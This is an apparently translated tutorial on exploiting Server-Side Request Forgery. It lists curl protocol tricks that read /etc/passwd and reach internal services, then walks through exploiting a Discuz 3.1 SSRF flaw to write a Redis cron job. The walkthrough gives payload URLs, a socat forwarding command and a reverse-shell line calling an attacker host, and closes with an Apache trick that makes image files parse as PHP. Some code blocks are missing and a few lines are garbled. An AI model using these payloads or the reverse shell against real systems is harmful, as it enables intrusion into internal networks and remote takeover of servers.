Comprehensive Guide to Understanding and Exploiting SSRF Vulnerability

What is SSRF?

SSRF (Server-Side Request Forgery) is a security vulnerability where attackers construct requests, exploiting the server to initiate these requests. Typically, SSRF attacks target internal systems that are inaccessible from the external network (since the requests are originated by the server, the server can access the internal systems that are connected to it but isolated from the external network).

Example:

GET /index.php?url=http://google.com/ HTTP/1.1

Host: example.com

Here, http://example.com fetches http://google.com from its server.

>

0X00 Types of SSRF

1. Response visible to attacker (Basic)

2. Response not visible (Blind)

0X01 Common Places Where SSRF Occurs

1. Cloud server providers. (Various website database operations)
2. Places with remote image loading. (Editors with remote image loading features)
3. Website crawling, web scraping locations. (Many websites have news collectors where you can input a URL and scrape with one click)
4. Avatar locations. (Some platforms prefer loading avatars remotely, example: http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
5. Any place that requires a URL input or IP address, SSRF thrives there.

0X02 Dangers of SSRF Vulnerability

1. Conduct port scanning in the server’s intranet, acquiring banner information of some services, etc.
2. Attack applications running in the intranet or locally.
3. Perform fingerprinting of web applications in the intranet by accessing default files (like Readme files).
4. Attack web applications on internal and external networks, primarily using GET attacks (e.g., Struts2, SQL Injection, etc.).
5. Download intranet resources (using the file protocol to read local files, etc.).
6. Exploit unauthorized Redis access and HTTP CRLF injection to achieve getshell.
7. Use as a stepping stone.
8. Ignore CDN.

0X03 Using Curl, the SSRF Tool

View list of protocols supported by curl #curl–config –protocols

• Use curl to read a file curl -v file:///etc/passwd
• Use the FTP protocol curl -v “ftp://127.0.0.1:6666/info”
• Use the Dict protocol curl -v “dict://127.0.0.1:6666/info”
• Use the Gopher protocol curl -v “gopher://127.0.0.1:6666/_info”

0X04 Common Redirect Bypasses

>

0X05 Implementing Port Scanning with Python+SSRF

Simple port scanning

Observe the entire scanning process with Wireshark

Code implementation:

Verify whether the corresponding port is open locally

Python coding strategy:

A connection exists if the port keeps establishing a connection, with the connection time being long.

Connections to missing ports are immediately closed.

0X06 Exploiting Discuz’s SSRF Vulnerability to GetShell

Discuz’s unconditional SSRF vulnerability (<=3.1 tested has this vulnerability)

Testing environment:

172.28.100.109 as Discuz 3.1 (Win10), 172.28.100.108 as Redis server (CentOS), hacker.xxxx.com as public test server for ssrf.php files

Discuz3.1 download address:

http://www.comsenz.com/downloads/install/discuzx#down_open

Example:

/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=dict%26ip=172.28.100.108%26port=6666%26data=hello.jpg[/img]

Actual used payload:

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp%26ip=172.28.100.108%26port=6666%26data=he2lo.jpg[/img]

• Use nc to test SSRF vulnerability

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://172.28.100.108:6666/?data=root.jpg[/img]

Use tcpdump to capture packets and see the data packet sent by Discuz

nc also responded

We can basically confirm there is an SSRF vulnerability here

Using header to cooperate with SSRF vulnerability exploitation, I placed an ssrf.php file on my public server

 

By passing parameters in this way, it’s convenient to modify parameters during testing. The code is as follows:

PAYLOAD:

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp%26ip=172.28.100.108%26port=6666%26data=he2lo.jpg[/img]

Similarly, nc also received data, and during testing, I noticed FTP is quicker than HTTP

Start socat port forwarding on KALI machine (-v parameter logs the forwarding process)

socat -v tcp-listen:6666,fork tcp-connect:172.28.100.108:6379

Connect the SSRF script

# Note: The cron jobs for CentOS and Ubuntu are slightly different, CentOS is in /var/spool/cron/root, while Ubuntu is in /etc/crontab

Execution succeeded

Step four must be successful, implying the target directory has write permissions

Look at the Redis server to find the root file already created under the /var/spool/cron directory with the content */1 * * * * bash -i >&/dev/tcp/hacker.xxxx.com/9999 0>&1

Saved socat output information to 1.txt and uploaded it to a public server

Use a Python script to convert to Gopher-supported format

Ensure to check the format is complete: */1 * * * * bash -i >& /dev/tcp/hacker.xxx.com/99990>&1

Create gohper.php and place it in my cloud server’s web root directory; when Discuz accesses the gohper.php file, it will 302 redirect and use the Gopher protocol to access the internal Redis server

Standard format example:

 

Exploiting the target machine’s SSRF vulnerability

Use Wireshark to capture packets and observe the process

The target Redis server already has an active cron job; if there is garbled text, scroll to the article’s bottom for a solution

The target Redis shell was sent to my server

0X07 Simple Bypass of SSRF Image Restrictions

Apache configuration/etc/apache2/sites-enabled/, create a new Apache configuration file 123.conf

AddHandler application/x-httpd-php .php

Thus, Apache will parse jpg as php; if we encounter a ssrf vulnerability that restricts jpg suffixes, this method can be used. Similarly, if restricted to txt, we can set Apache to parse txt as php.

Rename the file to be 1.php.jpg and access it

This can also be written like AddHandler application/x-httpd-php .jpg

0X08 Possible Issues You Might Encounter

The following issue was caused by using the vim editor on Linux, later resolved using the Sublime editor to solve the garbled text issue

0X09 Common Tools for Finding SSRF Vulnerabilities

• Use F12, to view the website’s network requests
• Utilize Google Hacking, such as site:www.baidu.com, then search if the site has remote URL calls